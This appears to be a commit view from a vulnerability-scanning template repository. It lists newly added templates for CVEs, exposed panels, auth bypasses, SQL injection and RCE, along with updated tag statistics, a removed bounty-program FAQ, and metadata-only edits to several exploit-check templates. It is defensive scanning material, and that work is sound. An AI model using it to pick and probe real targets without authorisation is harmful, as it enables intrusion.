http/exposed-panels/aruba-via-vpn-panel.yaml
http/exposed-panels/cradlepoint-gateway-panel.yaml
http/exposed-panels/ctrlpanel-panel.yaml
http/exposed-panels/cyberoam-firewall-panel.yaml
http/exposed-panels/ddwrt-panel.yaml
http/exposed-panels/ecessa-panel.yaml
http/exposed-panels/elfiq-panel.yaml
http/exposed-panels/endian-firewall-panel.yaml
http/exposed-panels/featherpanel-panel.yaml
http/exposed-panels/firemon-asset-manager-panel.yaml
http/exposed-panels/fortinet-fortianalyzer-panel.yaml
http/exposed-panels/headscale-panel.yaml
http/exposed-panels/hillstone-ssl-vpn-panel.yaml
http/exposed-panels/jotty-page-login-panel.yaml
http/exposed-panels/netgate-pfsenseplus-panel.yaml
http/exposed-panels/netsweeper-webadmin-panel.yaml
http/exposed-panels/nuage-networks-vsp-panel.yaml
http/exposed-panels/ocserv-panel.yaml
http/exposed-panels/peplink-incontrol-panel.yaml
http/exposed-panels/sangfor-iam-panel.yaml
http/exposed-panels/sangfor-ngaf-panel.yaml
http/exposed-panels/silver-peak-edgeconnect-panel.yaml
http/exposed-panels/sma-opcon-panel.yaml
http/exposed-panels/smoothwall-firewall-panel.yaml
http/exposed-panels/sonicwall-analytics-panel.yaml
http/exposed-panels/sophos-utm-panel.yaml
http/exposed-panels/stormshield-network-security-panel.yaml
http/exposed-panels/thegreenbowvpn-panel.yaml
http/exposed-panels/trend-micro-deep-security-panel.yaml
http/exposed-panels/ubiquiti-edgerouter-panel.yaml
http/exposed-panels/unifi-securitygateway-panel.yaml
http/exposed-panels/wg-easy-panel.yaml
http/exposed-panels/zywall-usg-panel.yaml
http/iot/openremote-detect.yaml
http/misconfiguration/installer/ctrlpanel-installer.yaml
http/misconfiguration/marimo-auth-bypass.yaml
http/takeovers/godaddy-parked-domain.yaml
http/technologies/google-iap-detect.yaml
http/technologies/tibco-businessworks-detect.yaml
http/vulnerabilities/weaver/ecology/ecology-execforstr-rce.yaml
http/vulnerabilities/weaver/weaver-ecology9-doc-list-sqli.yaml
http/vulnerabilities/weaver/weaver-getemdslist-disclosure.yaml
javascript/cves/2025/CVE-2025-29635.yaml
network/misconfig/open-socks-proxy.yaml
code/cves/2026/CVE-2026-8467.yaml
http/cves/2017/CVE-2017-7504.yaml
http/cves/2017/CVE-2017-8225.yaml
http/cves/2019/CVE-2019-11043.yaml
http/cves/2020/CVE-2020-10221.yaml
http/cves/2020/CVE-2020-29134.yaml
http/cves/2022/CVE-2022-39258.yaml
http/cves/2023/CVE-2023-54391.yaml
http/cves/2024/CVE-2024-1708.yaml
http/cves/2025/CVE-2025-14998.yaml
http/cves/2025/CVE-2025-15403.yaml
http/cves/2025/CVE-2025-51683.yaml
http/cves/2025/CVE-2025-53887.yaml
http/cves/2025/CVE-2025-57231.yaml
http/cves/2026/CVE-2026-0561.yaml
http/cves/2026/CVE-2026-0650.yaml
http/cves/2026/CVE-2026-0702.yaml
http/cves/2026/CVE-2026-0743.yaml
http/cves/2026/CVE-2026-0768.yaml
http/cves/2026/CVE-2026-11801.yaml
http/cves/2026/CVE-2026-1281.yaml
http/cves/2026/CVE-2026-12898.yaml
http/cves/2026/CVE-2026-18577.yaml
http/cves/2026/CVE-2026-18963.yaml
http/cves/2026/CVE-2026-19092.yaml
http/cves/2026/CVE-2026-19632.yaml
http/cves/2026/CVE-2026-2113.yaml
http/cves/2026/CVE-2026-21875.yaml
http/cves/2026/CVE-2026-23491.yaml
http/cves/2026/CVE-2026-23536.yaml
http/cves/2026/CVE-2026-23693.yaml
http/cves/2026/CVE-2026-26265.yaml
http/cves/2026/CVE-2026-27454.yaml
http/cves/2026/CVE-2026-27960.yaml
http/cves/2026/CVE-2026-28141.yaml
http/cves/2026/CVE-2026-28411.yaml
http/cves/2026/CVE-2026-29962.yaml
http/cves/2026/CVE-2026-29963.yaml
http/cves/2026/CVE-2026-30849.yaml
http/cves/2026/CVE-2026-32475.yaml
http/cves/2026/CVE-2026-34234.yaml
http/cves/2026/CVE-2026-41452.yaml
http/cves/2026/CVE-2026-41456.yaml
http/cves/2026/CVE-2026-41679.yaml
http/cves/2026/CVE-2026-41948.yaml
http/cves/2026/CVE-2026-42221.yaml
http/cves/2026/CVE-2026-42596.yaml
http/cves/2026/CVE-2026-42878.yaml
http/cves/2026/CVE-2026-44177.yaml
http/cves/2026/CVE-2026-44343.yaml
http/cves/2026/CVE-2026-48558.yaml
http/cves/2026/CVE-2026-53595.yaml
http/cves/2026/CVE-2026-55229.yaml
http/cves/2026/CVE-2026-5524.yaml
http/cves/2026/CVE-2026-5562.yaml
http/cves/2026/CVE-2026-56292.yaml
http/cves/2026/CVE-2026-57582.yaml
http/cves/2026/CVE-2026-58123.yaml
http/cves/2026/CVE-2026-58191.yaml
http/cves/2026/CVE-2026-59177.yaml
http/cves/2026/CVE-2026-59509.yaml
http/cves/2026/CVE-2026-59726.yaml
http/cves/2026/CVE-2026-60105.yaml
http/cves/2026/CVE-2026-61736.yaml
http/cves/2026/CVE-2026-62382.yaml
http/cves/2026/CVE-2026-65761.yaml
http/cves/2026/CVE-2026-73034.yaml
http/cves/2026/CVE-2026-7467.yaml
http/cves/2026/CVE-2026-77806.yaml
http/cves/2026/CVE-2026-81199.yaml
http/cves/2026/CVE-2026-81578.yaml
http/cves/2026/CVE-2026-82222.yaml
http/cves/2026/CVE-2026-82329.yaml
http/cves/2026/CVE-2026-85200.yaml
http/cves/2026/CVE-2026-85706.yaml
http/cves/2026/CVE-2026-86206.yaml
http/cves/2026/CVE-2026-86207.yaml
http/cves/2026/CVE-2026-86426.yaml
http/cves/2026/CVE-2026-87820.yaml
http/cves/2026/CVE-2026-88062.yaml
http/cves/2026/CVE-2026-9133.yaml
http/cves/2026/CVE-2026-9586.yaml
http/default-logins/johnson/johnson-controls-default-login.yaml
http/default-logins/litellm-default-login.yaml
http/exposed-panels/chatwoot-super-admin-panel.yaml
http/exposed-panels/docmost-panel.yaml
http/exposed-panels/documenso-panel.yaml
http/exposed-panels/donetick-panel.yaml
http/exposed-panels/inventree-panel.yaml
http/exposed-panels/karakeep-panel.yaml
http/exposed-panels/komga-panel.yaml
http/exposed-panels/linkding-panel.yaml
http/exposed-panels/mguard-security-appliance-panel.yaml
http/exposed-panels/planka-panel.yaml
http/exposed-panels/romm-panel.yaml
http/exposed-panels/sap-cloud-connector-panel.yaml
http/exposed-panels/silverbullet-panel.yaml
http/exposed-panels/wallabag-panel.yaml
http/exposed-panels/wallos-panel.yaml
http/exposures/apis/directus-api-exposure.yaml
http/exposures/apis/flowise-chatflows-exposure.yaml
http/exposures/apis/grafana-loki-api-exposure.yaml
http/exposures/apis/langflow-api-exposure.yaml
http/exposures/apis/victoriametrics-vmagent-api-exposure.yaml
http/exposures/configs/maven-settings-xml-exposure.yaml
http/exposures/configs/nuget-config-exposure.yaml
http/exposures/configs/pypirc-credentials-exposure.yaml
http/exposures/logs/apache-livy-logs.yaml
http/iot/gargoyle-router-detect.yaml
http/misconfiguration/nacos/nacos-v3-auth-scope-bypass.yaml
http/technologies/apache/apache-livy-detect.yaml
http/technologies/dawarich-detect.yaml
http/technologies/docuseal-detect.yaml
http/technologies/eol/drupal-eol.yaml
http/technologies/fiberhome-router-detect.yaml
http/technologies/homebox-detect.yaml
http/technologies/mealie-detect.yaml
http/technologies/vikunja-detect.yaml
http/vulnerabilities/arangodb/arangodb-auth-bypass.yaml
javascript/cves/2026/CVE-2026-55040.yaml
javascript/cves/2026/CVE-2026-83548.yaml
network/cves/2026/CVE-2026-73570.yaml
network/detection/ics/siemens/siemens-s7-detect.yaml
+1 -1
View File
@@ -1 +1 @@
{"tags":[{"name":"vuln","count":6626},{"name":"cve","count":4283},{"name":"discovery","count":3729},{"name":"vkev","count":1795},{"name":"wordpress","count":1656},{"name":"panel","count":1537},{"name":"wp-plugin","count":1473},{"name":"exposure","count":1456},{"name":"xss","count":1409},{"name":"osint","count":1131},{"name":"misconfig","count":986},{"name":"rce","count":967},{"name":"tech","count":947},{"name":"wp","count":925},{"name":"lfi","count":857},{"name":"detect","count":765},{"name":"devops","count":752},{"name":"cloud","count":718},{"name":"unauth","count":659},{"name":"cve2024","count":625},{"name":"edb","count":597},{"name":"wpscan","count":597},{"name":"cve2021","count":595},{"name":"sqli","count":591},{"name":"cve2023","count":571},{"name":"cve2022","count":570},{"name":"packetstorm","count":552},{"name":"authenticated","count":546},{"name":"login","count":525},{"name":"intrusive","count":525},{"name":"kev","count":516},{"name":"cve2025","count":413},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"network","count":387},{"name":"oast","count":357},{"name":"default-login","count":336},{"name":"cve2020","count":325},{"name":"config","count":323},{"name":"auth-bypass","count":283},{"name":"apache","count":282},{"name":"tcp","count":271},{"name":"microsoft","count":258},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":226},{"name":"gcloud","count":226},{"name":"cve2019","count":223},{"name":"iot","count":216},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"","count":213},{"name":"cve2018","count":205},{"name":"aws","count":196},{"name":"ssrf","count":195},{"name":"time-based-sqli","count":194},{"name":"csp-bypass","count":192},{"name":"code","count":192},{"name":"azure-cloud-config","count":191},{"name":"cve2026","count":190},{"name":"redirect","count":185},{"name":"install","count":180},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"keys","count":159},{"name":"disclosure","count":156},{"name":"local","count":155},{"name":"joomla","count":154},{"name":"aws-cloud-config","count":147},{"name":"cms","count":141},{"name":"linux","count":140},{"name":"router","count":139},{"name":"ftp","count":137},{"name":"files","count":133},{"name":"cve2017","count":131},{"name":"ai","count":131},{"name":"audit","count":122},{"name":"kubernetes","count":121},{"name":"js","count":119},{"name":"cve2010","count":115},{"name":"file-upload","count":113},{"name":"fpd","count":108},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"passive","count":99},{"name":"debug","count":98},{"name":"oss","count":97},{"name":"windows-audit","count":95},{"name":"oracle","count":92},{"name":"enum","count":90},{"name":"privesc","count":88},{"name":"cisco","count":88},{"name":"seclists","count":88},{"name":"windows","count":85},{"name":"takeover","count":81},{"name":"fileupload","count":78},{"name":"k8s","count":77},{"name":"adobe","count":75},{"name":"deserialization","count":74},{"name":"detection","count":71},{"name":"traversal","count":69},{"name":"vmware","count":68},{"name":"ics","count":68},{"name":"google","count":67},{"name":"cve2015","count":66},{"name":"logs","count":65},{"name":"atlassian","count":65},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"oob","count":63},{"name":"php","count":63},{"name":"ir","count":63},{"name":"alibaba","count":62},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":57},{"name":"cve2014","count":55},{"name":"ssh","count":55},{"name":"aem","count":53},{"name":"ssti","count":53},{"name":"misc","count":52},{"name":"fortinet","count":52},{"name":"sap","count":52},{"name":"injection","count":52},{"name":"ibm","count":51},{"name":"generic","count":50},{"name":"plugin","count":50},{"name":"osint-gaming","count":49},{"name":"ecommerce","count":49},{"name":"log4j","count":48},{"name":"info-leak","count":48},{"name":"tenable","count":48},{"name":"wp-theme","count":48},{"name":"xxe","count":47},{"name":"springboot","count":46},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"hackerone","count":46},{"name":"aliyun","count":45},{"name":"firewall","count":45},{"name":"jndi","count":45},{"name":"listing","count":44},{"name":"kisa","count":44},{"name":"dns","count":44},{"name":"ssl","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"postgresql","count":42},{"name":"bank","count":42},{"name":"dashboard","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"k8s-cluster-security","count":42},{"name":"tls","count":41},{"name":"devsecops","count":39},{"name":"jira","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"scada","count":38},{"name":"vpn","count":38},{"name":"xwiki","count":38},{"name":"graphql","count":37},{"name":"osint-coding","count":36}Line truncated
{"tags":[{"name":"vuln","count":6642},{"name":"cve","count":4431},{"name":"discovery","count":3761},{"name":"vkev","count":1873},{"name":"wordpress","count":1698},{"name":"panel","count":1615},{"name":"wp-plugin","count":1509},{"name":"exposure","count":1482},{"name":"xss","count":1417},{"name":"osint","count":1131},{"name":"rce","count":1029},{"name":"misconfig","count":999},{"name":"tech","count":965},{"name":"wp","count":951},{"name":"lfi","count":872},{"name":"detect","count":803},{"name":"devops","count":752},{"name":"cloud","count":720},{"name":"unauth","count":718},{"name":"cve2024","count":625},{"name":"intrusive","count":608},{"name":"sqli","count":604},{"name":"edb","count":596},{"name":"wpscan","count":596},{"name":"cve2021","count":591},{"name":"cve2023","count":570},{"name":"cve2022","count":568},{"name":"authenticated","count":563},{"name":"login","count":551},{"name":"packetstorm","count":551},{"name":"kev","count":541},{"name":"cve2025","count":426},{"name":"phishing","count":402},{"name":"network","count":397},{"name":"file","count":392},{"name":"oast","count":377},{"name":"default-login","count":343},{"name":"cve2026","count":330},{"name":"cve2020","count":326},{"name":"config","count":324},{"name":"auth-bypass","count":301},{"name":"apache","count":287},{"name":"tcp","count":272},{"name":"microsoft","count":259},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":226},{"name":"gcloud","count":226},{"name":"cve2019","count":225},{"name":"","count":220},{"name":"iot","count":218},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"ssrf","count":207},{"name":"cve2018","count":203},{"name":"aws","count":196},{"name":"time-based-sqli","count":194},{"name":"csp-bypass","count":192},{"name":"code","count":192},{"name":"azure-cloud-config","count":191},{"name":"redirect","count":185},{"name":"install","count":183},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"joomla","count":161},{"name":"disclosure","count":161},{"name":"keys","count":159},{"name":"ai","count":157},{"name":"linux","count":155},{"name":"local","count":155},{"name":"aws-cloud-config","count":147},{"name":"router","count":143},{"name":"cms","count":142},{"name":"ftp","count":137},{"name":"audit","count":136},{"name":"files","count":132},{"name":"file-upload","count":131},{"name":"cve2017","count":131},{"name":"kubernetes","count":121},{"name":"js","count":120},{"name":"cve2010","count":115},{"name":"fpd","count":108},{"name":"passive","count":106},{"name":"tokens","count":102},{"name":"oss","count":101},{"name":"top-100","count":100},{"name":"debug","count":98},{"name":"windows-audit","count":95},{"name":"privesc","count":92},{"name":"oracle","count":92},{"name":"enum","count":90},{"name":"cisco","count":89},{"name":"seclists","count":88},{"name":"windows","count":86},{"name":"takeover","count":82},{"name":"traversal","count":80},{"name":"deserialization","count":80},{"name":"k8s","count":77},{"name":"adobe","count":77},{"name":"fileupload","count":77},{"name":"ics","count":72},{"name":"detection","count":71},{"name":"vmware","count":68},{"name":"google","count":68},{"name":"cve2015","count":67},{"name":"oob","count":65},{"name":"atlassian","count":65},{"name":"logs","count":65},{"name":"cve2016","count":64},{"name":"alibaba","count":64},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"php","count":63},{"name":"vpn","count":62},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":59},{"name":"ssh","count":56},{"name":"cve2014","count":55},{"name":"fortinet","count":54},{"name":"firewall","count":54},{"name":"ssti","count":54},{"name":"aem","count":53},{"name":"injection","count":53},{"name":"sap","count":52},{"name":"misc","count":52},{"name":"ibm","count":52},{"name":"plugin","count":51},{"name":"generic","count":50},{"name":"wp-theme","count":49},{"name":"tenable","count":49},{"name":"xxe","count":49},{"name":"osint-gaming","count":49},{"name":"ecommerce","count":49},{"name":"log4j","count":48},{"name":"vulhub","count":47},{"name":"info-leak","count":47},{"name":"hackerone","count":46},{"name":"springboot","count":46},{"name":"cnvd","count":46},{"name":"dns","count":45},{"name":"aliyun","count":45},{"name":"llm","count":45},{"name":"jndi","count":45},{"name":"listing","count":44},{"name":"kisa","count":44},{"name":"ssl","count":44},{"name":"oa","count":43},{"name":"miscellaneous","count":43},{"name":"postgresql","count":43},{"name":"k8s-cluster-security","count":42},{"name":"osint-porn","count":42},{"name":"bank","count":42},{"name":"dashboard","count":42},{"name":"osint-hobby","count":42},{"name":"tls","count":41},{"name":"dlink","count":40},{"name":"scada","count":39},{"name":"jira","count":39},{"name":"devsecops","count":39},{"name":"cti","count":38},{"name":"xwiki","count":38},{"name":"graphql","count":38},{"namLine truncated
+8607 -8365
View File
File diff suppressed because it is too large. Load diff
+10 -10
View File
@@ -1,12 +1,12 @@
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6626 | dhiyaneshdk | 2114 | http | 10970 | info | 5013 | file | 447 |
| cve | 4283 | daffainfo | 949 | cloud | 663 | high | 2915 | dns | 33 |
| discovery | 3729 | princechaddha | 867 | file | 447 | medium | 2803 | | |
| vkev | 1795 | dwisiswant0 | 807 | code | 288 | critical | 1820 | | |
| wordpress | 1656 | pussycat0x | 797 | network | 280 | low | 504 | | |
| panel | 1537 | ritikchaddha | 779 | dast | 249 | unknown | 58 | | |
| wp-plugin | 1473 | rxerium | 644 | workflows | 207 | | | | |
| exposure | 1456 | 0x_akoko | 417 | javascript | 124 | | | | |
| xss | 1409 | pikpikcu | 353 | ssl | 38 | | | | |
| osint | 1131 | theamanrawat | 343 | dns | 30 | | | | |
| vuln | 6642 | dhiyaneshdk | 2144 | http | 11246 | info | 5103 | file | 447 |
| cve | 4431 | daffainfo | 950 | cloud | 663 | high | 2976 | dns | 34 |
| discovery | 3761 | princechaddha | 870 | file | 447 | medium | 2841 | | |
| vkev | 1873 | dwisiswant0 | 807 | code | 303 | critical | 1916 | | |
| wordpress | 1698 | pussycat0x | 802 | network | 280 | low | 518 | | |
| panel | 1615 | ritikchaddha | 783 | dast | 251 | unknown | 58 | | |
| wp-plugin | 1509 | rxerium | 719 | workflows | 207 | | | | |
| exposure | 1482 | 0x_akoko | 456 | javascript | 129 | | | | |
| xss | 1417 | pikpikcu | 353 | ssl | 38 | | | | |
| osint | 1131 | theamanrawat | 351 | dns | 31 | | | | |
-81
View File
@@ -1,81 +0,0 @@
# Nuclei Templates Bounty - FAQ
## What is the purpose of this bounty program?
The program is designed to reward the community for their efforts in contributing high-quality templates for critical and trending vulnerabilities.
## What are the bounty ranges for template submissions?
Bounties range from **$50 to $250**, depending on the complexity of the template and the effort required.
## Where can I find bounty issues?
Only issues listed by us on our GitHub repository with the 💎 **Bounty** label are eligible for rewards. You can find these bounty issues [here](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22)
## What is the acceptance criteria for templates?
The template must include a complete POC and should not rely solely on version-based detection. **Contributors MUST share vulnerable setup information or a testable instance by emailing [email protected].** This is a mandatory requirement to qualify for the bounty.
Templates must meet the following criteria:
1. **Complete POC**: A full Proof of Concept (POC) must be provided and not rely solely on version detection.
2. **Testable Instance (REQUIRED)**: Contributors **must** share vulnerable setup information or a testable instance by emailing templates@projectdiscovery.io. If you have hosted a vulnerable environment for validation, send the details (IP or Docker setup) along with the PR number to templates@projectdiscovery.io. **This is mandatory to qualify for the bounty.**
3. **No AI-Simulated Environments**: Do not submit AI-simulated vulnerable environments.
4. **Protocol Requirements**: Avoid submitting code templates for CVEs that can be detected using HTTP, TCP, or JavaScript only—these are not run on default scans and will not result in any findings.
5. **Validation Required**: To qualify for the bounty, the team must be able to fully validate the POC. Templates that are incomplete, invalid, or non-verifiable will not be accepted.
6. **Accurate Matchers**: Use strong matchers to avoid false positives.
> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined. **Providing a testable instance is mandatory and significantly reduces validation time.**
## How do I start working on a bounty issue?
1. **Find an Issue**: Look for issues tagged with 💎 **Bounty**.
2. **Declare Work**: Comment with `/attempt #<issue_number>` to claim the issue.
3. **Submit Work**: Submit your pull request with `/claim #<issue_number>` in the PR description when ready.
## How often are new bounty issues added?
We add new bounty issues on a **weekly basis**, so make sure to check back regularly for fresh opportunities. In the future, you can expect many more bounty issues as the program expands, allowing more opportunities for contributors to participate and earn rewards.
## Can I collaborate with others?
Yes, you can collaborate with other contributors and split rewards by commenting:
```
/claim #<issue_number>
/split @contributor1
/split @contributor2
```
## Is there a limit to how many issues I can work on?
You can work on up to **3 issues** simultaneously.
## What happens if I don’t complete an issue on time?
Issues must be completed within **2 months**, or they will be closed.
## How are rewards distributed?
Rewards are distributed once the template is fully validated. If the issue remains unresolved for **few weeks**, the bounty may increase.
## What should I include in my template submission?
Include the following:
> Avoid adding code templates for CVEs that can be achieved using HTTP, TCP, or JavaScript. Such templates are blocked by default and won’t produce results, so we prioritize creating templates with other protocols unless exceptions are made.
- **Complete POC**: A working Proof of Concept.
- **Matchers**: Multiple matchers to prevent false positives.
- **Debug Data**: Data to assist the triage team in validation.
- **Metadata**: Include required fields like `id`, `name`, `author`, `severity`, `description`, and `reference`.
## What types of templates will be rejected?
Templates may be rejected if they:
- Rely solely on version detection.
- Lack a complete POC.
- Contain weak matchers or redundant changes to existing templates.
## What should I avoid when submitting a template?
- Avoid sharing real-world targets publicly.
- Don’t submit templates with weak matchers.
- Avoid unnecessary changes to existing templates.
## Is there a leaderboard for contributors?
Yes! We now have a **leaderboard** that showcases top contributors. You can check it out here: [Leaderboard](https://cloud.projectdiscovery.io/templates/leaderboard).
## Is this program permanent?
The bounty program is currently a test run, but we may make changes based on community feedback.
## What additional rewards are available besides bounties?
Beyond bounties, we also reward contributors with:
- **Swag** such as t-shirts and stickers.
- **Invites to security conferences** for standout contributors.
- **Stickers** as a token of appreciation for all first-time contributors, regardless of the bounty.
> Contributors who feel their pull request or issue was overlooked for first-time contributor stickers can ping us on our Discord for assistance: [ProjectDiscovery Discord](https://discord.com/invite/projectdiscovery).
+1 -1
View File
@@ -18,7 +18,7 @@ info:
cvss-score: 9.8
cve-id: CVE-2016-8735
epss-score: 0.90338
epss-percentile: 0.99785
epss-percentile: 0.99792
cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
metadata:
shodan-query: product:"tomcat"
@@ -19,7 +19,7 @@ info:
cve-id: CVE-2016-9299
cwe-id: CWE-90
epss-score: 0.96943
epss-percentile: 0.99882
epss-percentile: 0.99887
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:lts:*:*:*
metadata:
max-request: 1
@@ -126,4 +126,4 @@ code:
- "contains(response,'hudson.remoting.UserRequest')"
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4a0a00473045022050dbe42f3cf04e777f5f0a26328ab131295930caa7112a66391af81802cc572d022100c254bd0d3e1255c3b9d74933833a50509aa19e6a275bc34b1f1dd270e3eda5f4:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100d34d351fd47cec255d70b8e93cc9397fa61b7e3235a8eeb2be67859ab1f8560a022100e05c2963ab328a5ab4fae5be29ca878451463ff1150dc55da2d31c74cd029800:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2017-1000353
cwe-id: CWE-502
epss-score: 0.99686
epss-percentile: 0.99948
epss-score: 0.99679
epss-percentile: 0.9995
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
metadata:
vendor: jenkins
@@ -108,4 +108,4 @@ code:
dsl:
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 4b0a004830460221008910bc02234abc45ab9b1fb4439f3ef5af5db60c5d977de5770944115be930df022100d1f71932410d529654794405ec53fb4a9c0f45414571741a73b6e03adeefc82a:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100be5c574e882913d1326d3bf550d325e5b044909705d0bec597e63f59142b03810220768dfd580c1b200113f47c6f52d96f98667bd5928a4692e1b378617b1d010fc4:922c64590222798bb761d5b6d8e72950
+1 -1
View File
@@ -156,4 +156,4 @@ code:
- 'contains(interactsh_protocol, "dns")'
- 'contains(interactsh_request, hex_encode(marker))'
condition: and
# digest: 4a0a00473045022100c74a382266e9dfdb3d03b6cc09a7cf9ddad7fd5c1fcc3427e624e70f2114eac7022053fa76d4023747107597a44ebb2e2530e2d8d8b913d65d7551c328c33fa2ebb1:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100ab1567f80fcbd86c640643bdf35c699d179c11a4ef4957dfb326105e46292bd9022100d59f52d687fb063f0259bf15d12cac82f50c09e0a62779a35676a44087bb24a9:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 8.8
cve-id: CVE-2019-14287
cwe-id: CWE-755
epss-score: 0.63917
epss-percentile: 0.99123
epss-score: 0.63764
epss-percentile: 0.99175
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
metadata:
verified: true
@@ -51,4 +51,4 @@ code:
- '!contains(code_1_response, "root")'
- 'contains(code_2_response, "root")'
condition: and
# digest: 4a0a004730450221009f95a64653539c27c17d96b8dec42d6a4c345813e34945aec95c8303977ab697022027b0914a15a733ce01ccdace0c37a6e651b2c686144d929736ad3d2254f8e04d:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022052e9ece83a8abf5ace258e3cbbd64eb9e2c18ff811dc8d660c35d74ed4abce2e022100a5c940df120afc22615ba6a533bfd0e318ebe78c65ce6fc2cbecb4bc557b642b:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2020-0646
cwe-id: CWE-91
epss-score: 0.99193
epss-percentile: 0.99929
epss-score: 0.99222
epss-percentile: 0.99933
cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
metadata:
verified: true
@@ -106,4 +106,4 @@ code:
- 'contains(content_type, "text/xml")'
- 'status_code == 200'
condition: and
# digest: 4a0a0047304502207162f761e3d8ddc260f7d3f67120120f8b615d0a94070bd2fad50ba2d30da7c9022100bac50b9c69fbd7c5dad760e65dd37125ee8d8586bdca7fa75f1b0bafd1912d38:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100f1c16f89133664c168655f91f460bbb66eacaad3059cf196e711af6f11ee198802204b6f03e34c2b7c58a655acca5319cf53a092009863ec226207ba5139c9da8984:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -14,8 +14,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
cvss-score: 7.5
cve-id: CVE-2020-13935
epss-score: 0.87553
epss-percentile: 0.99736
epss-score: 0.86608
epss-percentile: 0.99728
reference:
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2021-3156
cwe-id: CWE-193
epss-score: 0.99295
epss-percentile: 0.99933
epss-score: 0.99969
epss-percentile: 0.99977
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
metadata:
verified: true
@@ -44,4 +44,4 @@ code:
- "malloc(): memory corruption"
- "Aborted (core dumped)"
condition: and
# digest: 4b0a00483046022100ab0a7ac942d47cd091d970fb33bf7349e9209b77c786e722f790a2d218f2ca41022100b7848035d28482d955ed57ef2669ef1dfa2b1702be8df9421af1fd6fd469fe2f:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100c50e4fa819c43ff43c825ed761f8562c76fe59085db413f89e6fc538d8a8d24b02204978e59d650b707e5d3910f93c974f48ed570e783d41fbce9b6275a2fb4c768a:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -25,7 +25,7 @@ info:
cve-id: CVE-2022-42475
cwe-id: CWE-197,CWE-787
epss-score: 0.99474
epss-percentile: 0.99938
epss-percentile: 0.99941
cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -287,4 +287,4 @@ code:
- type: word
words:
- "Target appears to be VULNERABLE"
# digest: 490a0046304402203a594ca86728ad75290e4473c074d814b8eef20d8dae6a0d74a8e34835d9b8ed02202277f1b2746b99d80032baca203562d0d4116d9dd34f0ddf7a6de61ea66dfb0c:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022045a55cfc9ae52c4e99fd9879dbf12cec14ffbac9e14180bca516ea5404fd29030220664c221c5fa9eaa6243d80da7a74571d003a85cb392e56744c0698c939a371d4:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -21,8 +21,8 @@ info:
cvss-score: 7.8
cve-id: CVE-2023-2640
cwe-id: CWE-863
epss-score: 0.15783
epss-percentile: 0.96475
epss-score: 0.15199
epss-percentile: 0.96558
cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
metadata:
verified: true
@@ -55,4 +55,4 @@ code:
- '!contains(code_1_response, "(root)")'
- 'contains(code_2_response, "(root)")'
condition: and
# digest: 4a0a0047304502206db6fef55e0ea3720c171e24875022bc0c0b28fa1e8929bdb072f45c0ad3e787022100dedf028ad02b954b6ff47a920377b8a14bf24d77342839802e179f408530a0a0:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100ed986c5c738a805ba203341497ffa3202d63adc70c6c4ecd0f1b112b99ee7f9a02204b92b9d5d50e2d0aec038669575691bd243bddeb7dfb7d2dc31756767dd19294:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -20,8 +20,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-2986
epss-score: 0.41077
